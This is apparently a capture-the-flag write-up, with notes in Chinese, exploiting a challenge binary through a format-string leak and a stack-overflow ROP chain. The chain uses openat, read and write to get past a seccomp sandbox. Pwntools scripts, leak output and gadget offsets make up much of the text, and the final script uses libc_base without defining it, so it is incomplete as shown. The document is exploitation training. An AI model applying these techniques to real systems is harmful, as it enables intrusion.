Pwn-Stack_Feeding

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  sub_1269(a1, a2, a3);
  sub_13C8();
  return 0LL;
}

unsigned __int64 sub_1269()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  return v1 - __readfsqword(0x28u);
}

unsigned __int64 sub_13C8()
{
  ssize_t v1; // [rsp+8h] [rbp-B8h]
  char v2[64]; // [rsp+10h] [rbp-B0h] BYREF
  char buf[104]; // [rsp+50h] [rbp-70h] BYREF
  unsigned __int64 v4; // [rsp+B8h] [rbp-8h] canary保护

  v4 = __readfsqword(0x28u);
  puts(s);//打印=== 航班广播终端 v1.4 ===
  puts(asc_2028); //打印请输入广播草稿：
  printf(format);  //打印草稿>
  v1 = read(0, buf, 0x58uLL);
  if ( v1 <= 0 )
    exit(0);
  buf[v1] = 0;
  printf(asc_204A); //打印[预览]
  printf(buf);//格式化字符串，打印buf内容
  puts(byte_2054);
  puts(asc_2058);//[审计] 正在加载广播安全策略...
  sub_12F5();
  puts(asc_2083);//[审计] 策略已生效。
  printf(asc_20A0);//推送至频道（授权令牌）：
  read(0, v2, 0x100uLL);
  puts(asc_20C8);//[错误] 授权令牌无效，广播已取消。
  return v4 - __readfsqword(0x28u);
}

unsigned __int64 sub_12F5()
{
  unsigned __int64 i; // [rsp+0h] [rbp-40h]
  __int64 v2; // [rsp+8h] [rbp-38h]
  int v3[10]; // [rsp+10h] [rbp-30h]
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = seccomp_init(0LL);
  if ( !v2 )
    exit(1);
  v3[0] = 0;
  v3[1] = 1;
  v3[2] = 257;
  v3[3] = 3;
  v3[4] = 60;
  v3[5] = 231;
  v3[6] = 15;
  for ( i = 0LL; i <= 6; ++i )
    seccomp_rule_add(v2, 2147418112LL, (unsigned int)v3[i], 0LL);
  seccomp_load(v2);
  seccomp_release(v2);
  return v4 - __readfsqword(0x28u);
}

                ┌─────────────────────┐
sub_rbp + 0x08  │  return address     │ ← ROP 从这里开始
sub_rbp         │  saved_rbp          │
sub_rbp - 0x08  │  canary             │
                │  buf0 (0x58)        │
sub_rbp - 0x70  │  ...                │
sub_rbp - 0xb0  │  buf1 (0x100)       │ ← 溢出从这里开始
                └─────────────────────┘

from pwn import *

context(os = 'linux',arch = 'amd64')

r = process('./flight_announcer')
libc = ELF('./libc.so.6')
elf = ELF('./flight_announcer')

r.recvuntil(b'>')
payload = b'AAAA'+b'|%p'*0x56+b'\n'
r.send(payload)
r.interactive()

helloctfos@Hello-CTF:/mnt/e/钓鱼杯/flight_announcer_attachment$ python3 test.py
[+] Starting local process './flight_announcer': pid 603804
[*] '/mnt/e/钓鱼杯/flight_announcer_attachment/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/mnt/e/钓鱼杯/flight_announcer_attachment/flight_announcer'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
 [预览] AAAA|0x7fff0e03a9a0|(nil)|0x75d633314907|0x9|0x75d6335cb040|0x2|0x58|(nil)|(nil)|(nil)|0x75d63341b6a0|(nil)|0x75d63328e3f5|(nil)|0x75d63341b6a0|0x7c70257c41414141|0x70257c70257c7025|0x257c70257c70257c|0x7c70257c70257c70|0x70257c70257c7025|0x257c70257c70257c|0x7c70257c70257c70|0x70257c70257c7025|0x257c70257c70257c|0x7c70257c70257c70|0x70257c70257c7025|0x64ab37219200|0x2
[审计] 正在加载广播安全策略...
[审计] 策略已生效。
推送至频道（授权令牌）：[错误] 授权令牌无效，广播已取消。
[*] Got EOF while reading in interactive
$

# 1. _IO_2_1_stderr_    — 99% 存在, setvbuf 残留, 偏移 0x21b6a0
# 2. _IO_2_1_stdout_    — 99% 存在, puts/printf 残留, 偏移 0x21b780
# 3. __libc_start_main  — 100% 存在, call main 返回地址, 偏移 0x29d90

helloctfos@Hello-CTF:/mnt/e/钓鱼杯/flight_announcer_attachment$ 
readelf -W -s ./libc.so.6 | awk '/FUNC|OBJECT/{print $2, $8}' | grep 'b6a0'

000000000021b6a0 _IO_2_1_stderr_@@GLIBC_2.2.5

from pwn import *

context(os = 'linux',arch = 'amd64')

r    = process('./flight_announcer')
libc = ELF('./libc.so.6')

#retrieve stack data
r.recvuntil(b'>')
payload_1 = b'|%11$p|%29$p|%30$p|%31$p' 
payload_1 = payload_1.ljust(0x58,b'\x00')
r.send(payload_1)

r.recvuntil(b']')
leak_line = r.recvuntil(b'\n',drop = True)
print(f'泄露行:{leak_line}')
parts           = leak_line.split(b'|')
libc_leak       = int(parts[1],16)
canary          = int(parts[2],16)
save_main_rbp   = int(parts[3],16)
pie_return 	    = int(parts[4],16)

print(f'canary:    {hex(canary)}')

r.recvuntil(b'\xef\xbc\x9a')

pop_rdi         = libc_base + 0x2a3e5     # 5f c3  (pop rdi; ret)
pop_rsi         = libc_base + 0x2be51     # 5e c3  (pop rsi; ret)
pop_rax_rdx_rbx = libc_base + 0x904a8     # 58 5a 5b c3  (pop rax; pop rdx; pop rbx; ret)
syscall_ret     = libc_base + 0x91316     # 0f 05 c3  (syscall; ret)
ret_gadget      = libc_base + 0x29139     # c3  (ret)

泄漏出来的是值, 不是地址本身:
  save_rbp = [sub_13C8_rbp] = main 的 rbp 值 = 0x7fff...48

需要的基准:
  sub_13C8_rbp = save_rbp - 0x20 = 0x7fff...28

这 0x20 的构成:
  main 局部变量   0x10 字节
  call sub_13C8   0x08 字节 (返回地址)
  push rbp        0x08 字节
  ──────────────────────
  合计             0x20 字节

# ❌ 直觉写法 — 拿泄露值直接当 rbp 用
buf1  = save_rbp - 0xb0         # 偏离 0x20
rop   = save_rbp + 0x08         # 偏离 0x20
stage2_target = save_rbp + 0x30 # 偏离 0x20

# ✅ 正确写法 — 先修正帧间距
sub_rbp = save_rbp - 0x20
buf1  = sub_rbp - 0xb0
rop   = sub_rbp + 0x08
stage2_target = sub_rbp + 0x30

stage1 喂食:
   read 写到 sub_rbp + 0x30
            ↓
   sub_rbp + 0x30 ─→  ┌──────────────────┐ offset 0x00
                      │  \x00            │
   sub_rbp + 0x50 ─→  ├──────────────────┤ offset 0x20 ← syscall 后 ret 跳到这
                      │  ret_gadget      │
   sub_rbp + 0x58 ─→  ├──────────────────┤ offset 0x28 ← ORW 链从这里开始
                      │  pop_rax_rdx_rbx │
                      │  257             │
                      │  0               │
                      │  0               │
                      │  ...             │
                      ├──────────────────┤ offset 0x100
                      │  "/flag\x00"     │ ← flag 字符串
                      ├──────────────────┤ offset 0x200
                      │  (flag 缓冲区)    │ ← read/write 的数据
                      └──────────────────┘

rsi = sub_rbp + 0x30          ← read 写起点
rsp = sub_rbp + 0x50          ← syscall_ret 后 rsp 位置
offset = 0x50 - 0x30 = 0x20   ← ret 跳转在 stage2 中的偏移

沙箱允许: read(0), write(1), openat(257)
禁止: open(2), execve(59)

攻击链:
  openat(AT_FDCWD, "/flag", O_RDONLY) → fd = 3
  read(3, buf, 0x100)                  → 读 flag 内容
  write(1, buf, 0x100)                 → 输出到屏幕

┌──────────────────────────────────────────┐
│ 1. 格式串泄露                              │
│    %11$lx → libc_base                    │
│    %29$lx → canary                       │
│    %30$lx → sub_rbp = save_rbp - 0x20    │
│                                          │
│ 2. Stack Feeding (9 qword)               │
│    read(0, sub_rbp+0x30, 0x200)          │
│    → 把 ORW 链喂到 rsp 前进方向             │
│    → syscall_ret: rsp 自然滑入刚喂的数据    │
│                                          │
│ 3. ORW (绕过 seccomp)                     │
│    openat(-100, "/flag", 0) → fd=3       │
│    read(3, buf, 0x100)       → flag 内容  │
│    write(1, buf, 0x100)      → 打印 flag  │
└──────────────────────────────────────────┘